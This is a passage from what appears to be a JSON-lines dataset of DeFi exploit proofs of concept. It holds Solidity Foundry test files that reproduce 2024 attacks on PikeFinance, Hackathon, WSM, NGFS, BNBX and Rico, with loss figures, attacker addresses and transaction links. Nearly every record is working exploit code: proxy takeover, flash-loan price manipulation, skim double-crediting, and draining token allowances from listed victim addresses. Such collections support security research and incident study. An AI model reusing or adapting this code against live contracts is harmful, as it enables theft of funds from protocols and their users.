https://etherscan.io/address/0xfc7599cffea9de127a9f9c748ccb451a34d2f063\n// Attack Tx : https://etherscan.io/tx/0xe2912b8bf34d561983f2ae95f34e33ecc7792a2905a3e317fcc98052bce66431\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0xfc7599cffea9de127a9f9c748ccb451a34d2f063#code\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy :\n// Hacking God :\n\ninterface IPikeFinanceProxy {\n function initialize(address, address, address, address, uint16, uint16) external;\n function upgradeToAndCall(address, bytes memory) external;\n}\n\ncontract PikeFinance is Test {\n uint256 blocknumToForkFrom = 19_771_058;\n address constant PikeFinanceProxy = 0xFC7599cfFea9De127a9f9C748CCb451a34d2F063;\n\n function setUp() public {\n vm.deal(address(this), 0);\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\" Attacker ETH Balance Before exploit\", address(this).balance, 18);\n\n // Initialize proxy contract\n address _owner = address(this);\n address _WNativeAddress = address(this);\n address _uniswapHelperAddress = address(this);\n address _tokenAddress = address(this);\n uint16 _swapFee = 20;\n uint16 _withdrawFee = 20;\n IPikeFinanceProxy(PikeFinanceProxy).initialize(\n _owner, _WNativeAddress, _uniswapHelperAddress, _tokenAddress, _swapFee, _withdrawFee\n );\n\n // Upgrade proxy contract\n address newImplementation = address(this);\n bytes memory data = abi.encodeWithSignature(\"withdraw(address)\", address(this));\n IPikeFinanceProxy(PikeFinanceProxy).upgradeToAndCall(newImplementation, data);\n\n // Log balances after exploit\n emit log_named_decimal_uint(\" Attacker ETH Balance After exploit\", address(this).balance, 18);\n }\n\n function withdraw(\n address addr\n ) external {\n (bool success,) = payable(addr).call{value: address(this).balance}(\"\");\n require(success, \"transfer failed\");\n }\n\n function proxiableUUID() external pure returns (bytes32) {\n return 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "PikeFinance", "date": "2024-04", "file_name": "PikeFinance_exp.sol", "attack_vector": null, "content_hash": "d9f071c27a48eeb6", "collected_at": "2026-01-07T10:59:16.527261", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "1.4M", "total_lost_usd": 1400000.0, "attacker_address": "https://etherscan.io/address/0x19066f7431df29a0910d287c8822936bb7d89e23", "attack_contract": "https://etherscan.io/address/0x1da4bc596bfb1087f2f7999b0340fcba03c47fbd", "vulnerable_contract": "https://etherscan.io/address/0xfc7599cffea9de127a9f9c748ccb451a34d2f063", "attack_tx": "https://etherscan.io/tx/0xe2912b8bf34d561983f2ae95f34e33ecc7792a2905a3e317fcc98052bce66431", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "1.4M", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\" Attacker ETH Balance Before exploit\", address(this).balance, 18);\n\n // Initialize proxy contract\n address _owner = address(this);\n address _WNativeAddress = address(this);\n address _uniswapHelperAddress = address(this);\n address _tokenAddress = address(this);\n uint16 _swapFee = 20;\n uint16 _withdrawFee = 20;\n IPikeFinanceProxy(PikeFinanceProxy).initialize(\n _owner, _WNativeAddress, _uniswapHelperAddress, _tokenAddress, _swapFee, _withdrawFee\n );\n\n // Upgrade proxy contract\n address newImplementation = address(this);\n bytes memory data = abi.encodeWithSignature(\"withdraw(address)\", address(this));\n IPikeFinanceProxy(PikeFinanceProxy).upgradeToAndCall(newImplementation, data);\n\n // Log balances after exploit\n emit log_named_decimal_uint(\" Attacker ETH Balance After exploit\", address(this).balance, 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "1.4M", "keyinfo_attacker": "https://etherscan.io/address/0x19066f7431df29a0910d287c8822936bb7d89e23", "keyinfo_attack_contract": "https://etherscan.io/address/0x1da4bc596bfb1087f2f7999b0340fcba03c47fbd", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xfc7599cffea9de127a9f9c748ccb451a34d2f063", "keyinfo_attack_tx": "https://etherscan.io/tx/0xe2912b8bf34d561983f2ae95f34e33ecc7792a2905a3e317fcc98052bce66431", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$1.40M", "content_richness_score": 7.28, "quality_estimate": "medium", "title": "PikeFinance Exploit (2024-04)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// TX : https://app.blocksec.com/explorer/tx/bsc/0xea181f730886ece947e255ab508f5af1d0f569fee3368b651d5dbb28549087b5\n// Vulnearable Contract: 0x11cee747Faaf0C0801075253ac28aB503C888888\n// GUY : https://x.com/EXVULSEC/status/1779519508375613827\n// Profit : ~20K USD\n// Root Cause: when `sender == recipient == pair`, the recipient\u2019s balance is credited twice, once in each branch\n\ncontract Exploit is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IPancakePair Pair = IPancakePair(0xd46f4a4B57D8EC355fe83F9AE75d4cC04DE371ED);\n IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n IDPPOracle DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);\n IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 Hackathon = IERC20(0x11cee747Faaf0C0801075253ac28aB503C888888);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 37_854_043);\n deal(address(BUSD), address(this), 0);\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"attacker balance BUSD before attack:\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n DPP.flashLoan(0, 200_000 ether, address(this), new bytes(1));\n emit log_named_decimal_uint(\n \"attacker balance BUSD after attack:\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n BUSD.approve(address(Pair), type(uint256).max);\n BUSD.approve(address(Router), type(uint256).max);\n uint256 j = 0;\n while (j < 10) {\n uint256 i = 0;\n swap_token_to_token(address(BUSD), address(Hackathon), 200_000 * 1e18);\n Hackathon.transfer(address(Pair), Hackathon.balanceOf(address(this)));\n while (i < 10) {\n Pair.skim(address(Pair));\n Pair.skim(address(this));\n i++;\n }\n swap_token_to_token(address(Hackathon), address(BUSD), Hackathon.balanceOf(address(this)));\n j++;\n }\n BUSD.transfer(address(msg.sender), quoteAmount);\n }\n\n function swap_token_to_token(address a, address b, uint256 amount) internal {\n IERC20(a).approve(address(Router), amount);\n address[] memory path = new address[](2);\n path[0] = address(a);\n path[1] = address(b);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);\n }\n}\n", "type": "exploit_poc", "protocol": "Hackathon", "date": "2024-04", "file_name": "Hackathon_exp.sol", "attack_vector": "flash_loan", "content_hash": "9a0b945064be40ff", "collected_at": "2026-01-07T10:59:16.527311", "_source": "postmortems", "chain": "unknown", "block_number": 37854043, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"attacker balance BUSD before attack:\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n DPP.flashLoan(0, 200_000 ether, address(this), new bytes(1));\n emit log_named_decimal_uint(\n \"attacker balance BUSD after attack:\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.37, "quality_estimate": "low", "title": "Hackathon Exploit (2024-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : 2_517_438_179_912_631_607_253_979 WSM \u2248 18K\n// Attacker : 0x3026C464d3Bd6Ef0CeD0D49e80f171b58176Ce32\n// Attack Contract : https://bscscan.com/address/0x014eE3c3dE6941cb0202Dd2b30C89309e874B114\n// Vulnerable Contract : https://bscscan.com/address/0xc0afd0e40bb3dcaebd9451aa5c319b745bf792b4\n// Attack Tx : https://bscscan.com/tx/0x5a475a73343519f899527fdb9850f68f8fc73168073c72a3cff8c0c7b8a1e520\n\n// @Analysis\n//\n// Using a flash loan to cause price disparity in the BNB_WSM pool,\n// and then manipulating the price through the buyWithBNB() in the presale contract.\n\ncontract WSM is Test {\n Uni_Pair_V3 BNB_WSH_10000 = Uni_Pair_V3(payable(address(0x84F3cA9B7a1579fF74059Bd0e8929424D3FA330E)));\n Uni_Router_V3 routerv3_ = Uni_Router_V3(payable(address(0x74Dca1Bd946b9472B2369E11bC0E5603126E4C18)));\n Uni_Pair_V3 BNB_WSH_3000 = Uni_Pair_V3(payable(address(0xf420603317a0996A3fCe1b1A80993Eaef6f7AE1a)));\n address proxy_ = address(0xFB071837728455c581f370704b225ac9eABDfa4a);\n\n IERC20 wshToken_;\n IWBNB bnbToken_;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 37_569_860);\n vm.deal(address(this), 0); // Preparation work\uff0cclear POC balance\uff0cignore it\n wshToken_ = IERC20(BNB_WSH_10000.token0());\n bnbToken_ = IWBNB(payable(BNB_WSH_10000.token1()));\n\n wshToken_.approve(address(routerv3_), 10_000_000_000_000 ether);\n bnbToken_.approve(address(routerv3_), 10_000_000_000_000 ether);\n }\n\n function testExploit() public {\n console.log(\"1. before attack wsh token balance of this = \", wshToken_.balanceOf(address(this)));\n BNB_WSH_10000.flash(address(this), 5_000_000 ether, 0, \"\");\n console.log(\"8. after attack wsh token balance of this = \", wshToken_.balanceOf(address(this)));\n }\n\n function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) public {\n console.log(\"2. bnb_wsh_10000 pool wsh balance after flashloan = \", wshToken_.balanceOf(address(this)));\n\n Uni_Router_V3.ExactInputSingleParams memory args = Uni_Router_V3.ExactInputSingleParams({\n tokenIn: address(wshToken_),\n tokenOut: address(bnbToken_),\n fee: 3000,\n recipient: address(this),\n deadline: block.timestamp,\n amountIn: 5_000_000 ether,\n amountOutMinimum: 1,\n sqrtPriceLimitX96: 0\n });\n routerv3_.exactInputSingle(args);\n\n console.log(\"3. balance after exchanging wsh for bnb = \", bnbToken_.balanceOf(address(this)));\n bnbToken_.withdraw(bnbToken_.balanceOf(address(this)));\n\n console.log(\"4. [ ============= ATTACK START ============= ]\");\n proxy_.call{value: address(this).balance}(abi.encodeWithSignature(\"buyWithBNB(uint256,bool)\", 2_770_000, false));\n console.log(\"5. wsh balance after attack function buyWithBNB() = \", wshToken_.balanceOf(address(this)));\n console.log(\"6. [ ============= ATTACK END ============= ]\");\n\n Uni_Router_V3.ExactInputSingleParams memory args2 = Uni_Router_V3.ExactInputSingleParams({\n tokenIn: address(bnbToken_),\n tokenOut: address(wshToken_),\n fee: 3000,\n recipient: address(this),\n deadline: block.timestamp,\n amountIn: address(this).balance,\n amountOutMinimum: 1,\n sqrtPriceLimitX96: 0\n });\n routerv3_.exactInputSingle{value: address(this).balance}(args2);\n\n console.log(\"7. repay flashloan for bnb_wsh_10000 pool\");\n wshToken_.transfer(address(BNB_WSH_10000), 5_000_000 ether + fee0);\n }\n\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "WSM", "date": "2024-04", "file_name": "WSM_exp.sol", "attack_vector": "flash_loan", "content_hash": "b9fcc15620cacfd9", "collected_at": "2026-01-07T10:59:16.527373", "_source": "postmortems", "chain": "bsc", "block_number": 37569860, "total_lost_raw": "2_517_438_179_912_631_607_253_979 WSM \u2248 18K", "total_lost_usd": 2.0, "attacker_address": null, "attack_contract": "https://bscscan.com/address/0x014eE3c3dE6941cb0202Dd2b30C89309e874B114", "vulnerable_contract": "https://bscscan.com/address/0xc0afd0e40bb3dcaebd9451aa5c319b745bf792b4", "attack_tx": "https://bscscan.com/tx/0x5a475a73343519f899527fdb9850f68f8fc73168073c72a3cff8c0c7b8a1e520", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "2_517_438_179_912_631_607_253_979 WSM \u2248 18K", "category": "flash-loan", "exploit_code": "function testExploit() public {\n console.log(\"1. before attack wsh token balance of this = \", wshToken_.balanceOf(address(this)));\n BNB_WSH_10000.flash(address(this), 5_000_000 ether, 0, \"\");\n console.log(\"8. after attack wsh token balance of this = \", wshToken_.balanceOf(address(this)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "2_517_438_179_912_631_607_253_979 WSM \u2248 18K", "keyinfo_attacker": "", "keyinfo_attack_contract": "https://bscscan.com/address/0x014eE3c3dE6941cb0202Dd2b30C89309e874B114", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xc0afd0e40bb3dcaebd9451aa5c319b745bf792b4", "keyinfo_attack_tx": "https://bscscan.com/tx/0x5a475a73343519f899527fdb9850f68f8fc73168073c72a3cff8c0c7b8a1e520", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$2", "content_richness_score": 8.89, "quality_estimate": "high", "title": "WSM Exploit (2024-04)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"forge-std/Test.sol\";\n\n// @KeyInfo - Total Lost: ~190K\n// Attacker: https://bscscan.com/address/0xd03d360dfc1dac7935e114d564a088077e6754a0\n// Attack Contract: https://bscscan.com/address/0xc73781107d086754314f7720ca14ab8c5ad035e4\n// Vulnerable Contract: https://bscscan.com/address/0xa608985f5b40cdf6862bec775207f84280a91e3a\n// Attack Tx: https://bscscan.com/tx/0x8ff764dde572928c353716358e271638fa05af54be69f043df72ad9ad054de25\n\n// @Info\n// Vulnerable Contract Code: https://bscscan.com/address/0xa608985f5b40cdf6862bec775207f84280a91e3a#code\n\n// @Analysis\n// Post-mortem: https://louistsai.vercel.app/p/2024-04-25-ngfs-exploit/\n// Twitter Guy: https://twitter.com/CertiKAlert/status/1783476515331616847\n// Hacking God:\n\ninterface IPancakeFactory {\n function getPair(address, address) external returns (address);\n}\n\ninterface IPancakeRouter {\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ninterface INGFSToken {\n function delegateCallReserves() external;\n function setProxySync(\n address\n ) external;\n function balanceOf(\n address\n ) external view returns (uint256);\n function reserveMultiSync(address, uint256) external;\n function approve(address, uint256) external returns (bool);\n}\n\ninterface IBEP20 {\n function balanceOf(\n address\n ) external view returns (uint256);\n}\n\ncontract NGFS is Test {\n uint256 constant BLOCKNUM_TO_FORK_FROM = 38_167_372;\n address constant PANCAKE_FACTORY = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;\n address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\n address constant NGFS_TOKEN = 0xa608985f5b40CDf6862bEC775207f84280a91E3A;\n address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", BLOCKNUM_TO_FORK_FROM);\n }\n\n function testExploit() public {\n uint256 tokenBalanceBefore = IBEP20(USDT_TOKEN).balanceOf(address(this));\n emit log_named_decimal_uint(\"Attacker USDT Balance Before exploit\", tokenBalanceBefore, 18);\n\n address pair = IPancakeFactory(PANCAKE_FACTORY).getPair(NGFS_TOKEN, USDT_TOKEN);\n INGFSToken(NGFS_TOKEN).delegateCallReserves();\n INGFSToken(NGFS_TOKEN).setProxySync(address(this));\n\n uint256 balance = INGFSToken(NGFS_TOKEN).balanceOf(pair);\n INGFSToken(NGFS_TOKEN).reserveMultiSync(address(this), balance);\n\n uint256 amount = INGFSToken(NGFS_TOKEN).balanceOf(address(this));\n INGFSToken(NGFS_TOKEN).approve(PANCAKE_ROUTER, type(uint256).max);\n\n address[] memory path = new address[](2);\n path[0] = NGFS_TOKEN;\n path[1] = USDT_TOKEN;\n\n uint256 deadline = 1_714_043_885;\n IPancakeRouter(PANCAKE_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(\n amount, 0, path, address(this), deadline\n );\n\n uint256 tokenBalanceAfter = IBEP20(USDT_TOKEN).balanceOf(address(this));\n // Log balances after exploit\n emit log_named_decimal_uint(\"Attacker USDT Balance After exploit\", tokenBalanceAfter - tokenBalanceBefore, 18);\n }\n}\n", "type": "exploit_poc", "protocol": "NGFS", "date": "2024-04", "file_name": "NGFS_exp.sol", "attack_vector": null, "content_hash": "46473e7937c4c4ab", "collected_at": "2026-01-07T10:59:16.527429", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "~190K", "total_lost_usd": 190000.0, "attacker_address": "https://bscscan.com/address/0xd03d360dfc1dac7935e114d564a088077e6754a0", "attack_contract": "https://bscscan.com/address/0xc73781107d086754314f7720ca14ab8c5ad035e4", "vulnerable_contract": "https://bscscan.com/address/0xa608985f5b40cdf6862bec775207f84280a91e3a", "attack_tx": "https://bscscan.com/tx/0x8ff764dde572928c353716358e271638fa05af54be69f043df72ad9ad054de25", "postmortem_url": "https://louistsai.vercel.app/p/2024-04-25-ngfs-exploit/", "twitter_url": "https://twitter.com/CertiKAlert/status/1783476515331616847", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "~190K", "category": "unknown", "exploit_code": "function testExploit() public {\n uint256 tokenBalanceBefore = IBEP20(USDT_TOKEN).balanceOf(address(this));\n emit log_named_decimal_uint(\"Attacker USDT Balance Before exploit\", tokenBalanceBefore, 18);\n\n address pair = IPancakeFactory(PANCAKE_FACTORY).getPair(NGFS_TOKEN, USDT_TOKEN);\n INGFSToken(NGFS_TOKEN).delegateCallReserves();\n INGFSToken(NGFS_TOKEN).setProxySync(address(this));\n\n uint256 balance = INGFSToken(NGFS_TOKEN).balanceOf(pair);\n INGFSToken(NGFS_TOKEN).reserveMultiSync(address(this), balance);\n\n uint256 amount = INGFSToken(NGFS_TOKEN).balanceOf(address(this));\n INGFSToken(NGFS_TOKEN).approve(PANCAKE_ROUTER, type(uint256).max);\n\n address[] memory path = new address[](2);\n path[0] = NGFS_TOKEN;\n path[1] = USDT_TOKEN;\n\n uint256 deadline = 1_714_043_885;\n IPancakeRouter(PANCAKE_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(\n amount, 0, path, address(this), deadline\n );\n\n uint256 tokenBalanceAfter = IBEP20(USDT_TOKEN).balanceOf(address(this));\n // Log balances after exploit\n emit log_named_decimal_uint(\"Attacker USDT Balance After exploit\", tokenBalanceAfter - tokenBalanceBefore, 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~190K", "keyinfo_attacker": "https://bscscan.com/address/0xd03d360dfc1dac7935e114d564a088077e6754a0", "keyinfo_attack_contract": "https://bscscan.com/address/0xc73781107d086754314f7720ca14ab8c5ad035e4", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xa608985f5b40cdf6862bec775207f84280a91e3a", "keyinfo_attack_tx": "https://bscscan.com/tx/0x8ff764dde572928c353716358e271638fa05af54be69f043df72ad9ad054de25", "analysis_postmortem": "https://louistsai.vercel.app/p/2024-04-25-ngfs-exploit/", "analysis_twitter": "https://twitter.com/CertiKAlert/status/1783476515331616847", "funds_lost_formatted": "$190.0K", "content_richness_score": 7.67, "quality_estimate": "medium", "title": "NGFS Exploit (2024-04)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\n// @KeyInfo - Total Lost : ~5 $ETH\n// Attacker : https://bscscan.com/address/0x123fa25c574bb3158ecf6515595932a92a1da510\n// Attack Contract : https://bscscan.com/address/0xe6e06030b33593d140f224fc1cdd1b8ffe99e50a\n// Vulnerable Contract : https://bscscan.com/address/0x389a9ae29fbe53cca7bc8b7a4d9d0a04078e1c24\n// Attack Tx : https://bscscan.com/tx/0xea88dc6dbd81d09c572b5849e0d4508598edcf8f11c9a995cd8fe7e6c194f39e\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n IERC20 BNBX = IERC20(0xF662457774bb0729028EA681BB2C001790999999);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IPancakePair WBNB_BNBX_LpPool = IPancakePair(0xAa3f145f854e12F1566548c01e74c1b9d98c634d);\n IPancakeRouter PancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n\n address BNBX_0x389a = 0x389A9AE29fbE53cca7bC8B7a4d9D0a04078e1C24;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 38_230_509 - 1);\n vm.label(address(BNBX), \"BNBX\");\n vm.label(address(WBNB), \"WBNB\");\n vm.label(address(BNBX_0x389a), \"BNBX_0x389a\");\n }\n\n function testExploit() public {\n emit log_named_uint(\"Attacker WBNB balance before attack\", WBNB.balanceOf(address(this)));\n // 10 victims as an example\n address[] memory victims = new address[](10);\n victims[0] = 0xE71F1d71aFe531bCd9b89f82D8a44B04F73b7146;\n victims[1] = 0xe497e225407b5a305F5e359973bebD4A1986CF7e;\n victims[2] = 0xD1616BfB6A2009Ee33Db9FCC3C646332E001797c;\n victims[3] = 0xcc079F627311657c8A4B3D8EDA8742352B9dD4aC;\n victims[4] = 0xB91aF0cE8bbd4b597eDa7B5194231Aa1B487b85C;\n victims[5] = 0xb53905E26CA1F0106107772C1f48e6D035B4E0F1;\n victims[6] = 0xAfA24DEE0c2AA82295E1d0e885eb44A81306442D;\n victims[7] = 0x98C9440822B4A8F9A24E7ee34222E566F08c15E4;\n victims[8] = 0x830a727B59477373Cf7bbB66fB4abf22afBBdF56;\n victims[9] = 0x741b7870DBDCd8CceD6ae19bABA4Da814101484d;\n\n for (uint256 i; i < victims.length; i++) {\n uint256 allowance = BNBX.allowance(victims[i], address(BNBX_0x389a));\n uint256 balance = BNBX.balanceOf(victims[i]);\n uint256 available = balance <= allowance ? balance : allowance; // available USDT\n\n if (available > 0) {\n BNBX_0x389a.call(abi.encodeWithSelector(bytes4(0x11834d4c), victims[i]));\n }\n }\n TOKENToWBNB();\n emit log_named_decimal_uint(\"Attacker WBNB balance after attack\", WBNB.balanceOf(address(this)), 18);\n }\n\n function TOKENToWBNB() internal {\n (uint256 reserveWBNB, uint256 reserveTOKEN,) = WBNB_BNBX_LpPool.getReserves();\n uint256 amountOut;\n BNBX.transfer(address(WBNB_BNBX_LpPool), BNBX.balanceOf(address(this)));\n\n (uint256 reserveWBNB_after, uint256 reserveTOKEN_after,) = WBNB_BNBX_LpPool.getReserves();\n\n amountOut = PancakeRouter.getAmountOut(reserveTOKEN_after - reserveTOKEN, reserveTOKEN, reserveWBNB);\n WBNB_BNBX_LpPool.swap(amountOut, 0, address(this), \"\");\n }\n\n fallback() external payable {}\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "BNBX", "date": "2024-04", "file_name": "BNBX_exp.sol", "attack_vector": null, "content_hash": "734c11f50f1acc5a", "collected_at": "2026-01-07T10:59:16.527479", "_source": "postmortems", "chain": "bsc", "block_number": 38230509, "total_lost_raw": "~5 $ETH", "total_lost_usd": 5.0, "attacker_address": "https://bscscan.com/address/0x123fa25c574bb3158ecf6515595932a92a1da510", "attack_contract": "https://bscscan.com/address/0xe6e06030b33593d140f224fc1cdd1b8ffe99e50a", "vulnerable_contract": "https://bscscan.com/address/0x389a9ae29fbe53cca7bc8b7a4d9d0a04078e1c24", "attack_tx": "https://bscscan.com/tx/0xea88dc6dbd81d09c572b5849e0d4508598edcf8f11c9a995cd8fe7e6c194f39e", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "low", "severity_raw": "~5 $ETH", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_uint(\"Attacker WBNB balance before attack\", WBNB.balanceOf(address(this)));\n // 10 victims as an example\n address[] memory victims = new address[](10);\n victims[0] = 0xE71F1d71aFe531bCd9b89f82D8a44B04F73b7146;\n victims[1] = 0xe497e225407b5a305F5e359973bebD4A1986CF7e;\n victims[2] = 0xD1616BfB6A2009Ee33Db9FCC3C646332E001797c;\n victims[3] = 0xcc079F627311657c8A4B3D8EDA8742352B9dD4aC;\n victims[4] = 0xB91aF0cE8bbd4b597eDa7B5194231Aa1B487b85C;\n victims[5] = 0xb53905E26CA1F0106107772C1f48e6D035B4E0F1;\n victims[6] = 0xAfA24DEE0c2AA82295E1d0e885eb44A81306442D;\n victims[7] = 0x98C9440822B4A8F9A24E7ee34222E566F08c15E4;\n victims[8] = 0x830a727B59477373Cf7bbB66fB4abf22afBBdF56;\n victims[9] = 0x741b7870DBDCd8CceD6ae19bABA4Da814101484d;\n\n for (uint256 i; i < victims.length; i++) {\n uint256 allowance = BNBX.allowance(victims[i], address(BNBX_0x389a));\n uint256 balance = BNBX.balanceOf(victims[i]);\n uint256 available = balance <= allowance ? balance : allowance; // available USDT\n\n if (available > 0) {\n BNBX_0x389a.call(abi.encodeWithSelector(bytes4(0x11834d4c), victims[i]));\n }\n }\n TOKENToWBNB();\n emit log_named_decimal_uint(\"Attacker WBNB balance after attack\", WBNB.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~5 $ETH", "keyinfo_attacker": "https://bscscan.com/address/0x123fa25c574bb3158ecf6515595932a92a1da510", "keyinfo_attack_contract": "https://bscscan.com/address/0xe6e06030b33593d140f224fc1cdd1b8ffe99e50a", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x389a9ae29fbe53cca7bc8b7a4d9d0a04078e1c24", "keyinfo_attack_tx": "https://bscscan.com/tx/0xea88dc6dbd81d09c572b5849e0d4508598edcf8f11c9a995cd8fe7e6c194f39e", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$5", "content_richness_score": 7.62, "quality_estimate": "medium", "title": "BNBX Exploit (2024-04)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 36K\n// Attacker : https://arbiscan.io/address/0xc91cb089084f0126458a1938b794aa73b9f9189d\n// Attack Contract : https://arbiscan.io/address/0x68d843d31de072390d41bff30b0076bef0482d8f\n// Vulnerable Contract : https://arbiscan.io/address/0x598c6c1cd9459f882530fc9d7da438cb74c6cb3b\n// Attack Tx : https://arbiscan.io/tx/0x5d2a94785d95a740ec5f778e79ff014c880bcefec70d1a7c2440e611f84713d6\n\n// @Info\n// Vulnerable Contract Code : https://arbiscan.io/address/0x598c6c1cd9459f882530fc9d7da438cb74c6cb3b#code\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy : https://twitter.com/0xlouistsai/status/1781845191047164016\n// Hacking God :\n\ninterface IBankDiamond {\n function flash(address, bytes calldata) external returns (bytes memory result);\n}\n\ncontract Rico is Test {\n uint256 blocknumToForkFrom = 202_973_712;\n\n address constant BankDiamond = 0x598C6c1cd9459F882530FC9D7dA438CB74C6CB3b;\n address constant UniV3Router = 0xE592427A0AEce92De3Edee1F18E0157C05861564;\n\n address constant USDC_TOKEN = 0xaf88d065e77c8cC2239327C5EDb3A432268e5831;\n address constant ARB_TOKEN = 0x912CE59144191C1204E64559FE8253a0e49E6548;\n address constant LINK_TOKEN = 0xf97f4df75117a78c1A5a0DBb814Af92458539FB4;\n address constant WSTETH_TOKEN = 0x5979D7b546E38E414F7E9822514be443A4800529;\n address constant WETH_TOKEN = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;\n address constant ARB_USDC_TOEKN = 0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8;\n\n function setUp() public {\n vm.createSelectFork(\"arbitrum\", blocknumToForkFrom);\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"Attacker USDC Balance Before exploit\", IERC20(USDC_TOKEN).balanceOf(address(this)), 6\n );\n\n // Transfer tokens from BankDiamond to the attacker\n transferTokens(USDC_TOKEN);\n transferTokens(ARB_TOKEN);\n transferTokens(LINK_TOKEN);\n transferTokens(WSTETH_TOKEN);\n transferTokens(WETH_TOKEN);\n transferTokens(ARB_USDC_TOEKN);\n\n // TransferFrom tokens from owners to the attacker\n transferFromOwner(0x512E07A093aAA20Ba288392EaDF03838C7a4e522, USDC_TOKEN);\n transferFromOwner(0x83eCCb05386B2d10D05e1BaEa8aC89b5B7EA8290, USDC_TOKEN);\n transferFromOwner(0x7b782A4D552a8ceB3924005a786a1a358BA63f71, WSTETH_TOKEN);\n\n // Swap tokens to USDC using UniV3Router\n swapTokens(ARB_TOKEN);\n swapTokens(LINK_TOKEN);\n 